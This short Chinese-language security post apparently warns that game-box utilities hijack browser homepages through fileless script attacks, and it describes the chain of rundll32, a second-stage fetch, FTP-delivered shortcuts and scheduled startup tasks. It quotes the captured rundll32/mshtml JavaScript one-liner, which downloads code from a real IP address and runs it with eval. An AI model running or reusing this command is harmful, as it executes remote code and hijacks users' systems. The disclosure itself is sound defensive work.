小心，小软件远程修改“桌面快捷方式”劫持首页

最近我们收到一些用户的举报，发现一些小软件（游戏盒子类的）开始带一些“运控攻击代码”进行浏览器首页劫持操作。

全程攻击无PE文件，用脚本（JS,BAT..）实现。这些攻击手法以前出现比较多在做渗透攻击的黑客上。是黑客搞流量了，还是流氓学了黑客招？？

简单说下流程

攻击程序启动系统RUNDLL32执行脚本，从网络端获取功能脚本（二次获取），通过FTP 获取生成好的LNK（IE浏览器已经加小尾巴的）

生成计划任务，定期往开机目录里放修改首页的脚本。

有兴趣的朋友自己搜索百度，脑补其它知识：

游戏盒子升级程序，在启动后启动RUNDLL32发起攻击：

"C:WindowsSystem32rundll32.exe"javascript:"..mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://220.178.31.153:8007/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/c taskkill /f /im rundll32.exe",0,true);}
